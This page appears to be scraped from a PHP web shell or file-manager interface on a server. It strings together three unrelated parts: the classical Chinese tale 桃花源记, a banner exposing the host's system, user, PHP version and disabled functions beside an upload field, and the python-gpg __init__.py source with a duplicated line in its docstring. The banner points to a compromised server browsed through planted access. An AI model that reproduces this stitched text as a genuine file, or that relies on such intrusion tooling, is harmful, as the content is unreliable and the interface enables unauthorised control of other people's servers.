晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /lib64/python3.6/site-packages/gpg/ |
Upload File : |
# Copyright (C) 2016 g10 Code GmbH
# Copyright (C) 2004 Igor Belyi <belyi@users.sourceforge.net>
# Copyright (C) 2002 John Goerzen <jgoerzen@complete.org>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
"""gpg: GnuPG Interface for Python (GPGME bindings)
Welcome to gpg, the GnuPG Interface for Python.
The latest release of this package may be obtained from
https://www.gnupg.org
FEATURES
--------
* Feature-rich, full implementation of the GPGME library. Supports
all GPGME features. Callback functions may be written in pure
Python. Exceptions raised in callbacks are properly propagated.
* Ability to sign, encrypt, decrypt, and verify data.
* Ability to list keys, export and import keys, and manage the keyring.
* Fully object-oriented with convenient classes and modules.
QUICK EXAMPLE
-------------
>>> import gpg
>>> with gpg.Context() as c:
>>> with gpg.Context() as c:
... cipher, _, _ = c.encrypt("Hello world :)".encode(),
... passphrase="abc")
... c.decrypt(cipher, passphrase="abc")
...
(b'Hello world :)',
<gpg.results.DecryptResult object at 0x7f5ab8121080>,
<gpg.results.VerifyResult object at 0x7f5ab81219b0>)
GENERAL OVERVIEW
----------------
For those of you familiar with GPGME, you will be right at home here.
The python gpg module is, for the most part, a direct interface to the C GPGME
library. However, it is re-packaged in a more Pythonic way -- object-oriented
with classes and modules. Take a look at the classes defined here -- they
correspond directly to certain object types in GPGME for C. For instance, the
following C code:
gpgme_ctx_t context;
gpgme_new(&context);
...
gpgme_op_encrypt(context, recp, 1, plain, cipher);
Translates into the following Python code:
context = core.Context()
...
context.op_encrypt(recp, 1, plain, cipher)
The Python module automatically does error-checking and raises Python exception
gpg.errors.GPGMEError when GPGME signals an error. getcode() and getsource() of
this exception return code and source of the error.
IMPORTANT NOTE
--------------
This documentation only covers a small subset of available GPGME functions and
methods. Please consult the documentation for the C library for comprehensive
coverage.
This library uses Python's reflection to automatically detect the methods that
are available for each class, and as such, most of those methods do not appear
explicitly anywhere. You can use dir() python built-in command on an object to
see what methods and fields it has but their meaning can often only be found in
the GPGME documentation.
HIGHER LEVEL PYTHONIC LAYER
---------------------------
A more pythonic or intuitive layer is being added above the automatically
generated lower level bindings. This is the recommended way to access the
module as if it is ever necessary to modify the underlying GPGME API, the
higher level methods will remain the same.
The quick example above is an example of this higher layer in action, whereas
the second example demonstrating the mapping to GPGME itself is the lower
layer. The second example in the higher layer would be more like the encrypt
line in the quick example.
FOR MORE INFORMATION
--------------------
GnuPG homepage: https://www.gnupg.org/
GPGME documentation: https://www.gnupg.org/documentation/manuals/gpgme/
GPGME Python HOWTO: http://files.au.adversary.org/crypto/gpgme-python-howto-split/index.html
To view this documentation, run help(gpg) in Python or one of the following
commands outside of Python:
pydoc gpg
pydoc3 gpg
python -m pydoc gpg
python3 -m pydoc gpg
"""
from __future__ import absolute_import, print_function, unicode_literals
from . import core
from . import errors
from . import constants
from . import util
from . import callbacks
from . import version
from .core import Context
from .core import Data
del absolute_import, print_function, unicode_literals
# Interface hygiene.
# Drop the low-level gpgme that creeps in for some reason.
gpgme = None
del gpgme
# This is a white-list of symbols. Any other will alert pyflakes.
_ = [Context, Data, core, errors, constants, util, callbacks, version]
del _
__all__ = [
"Context", "Data", "core", "errors", "constants", "util", "callbacks",
"version"
]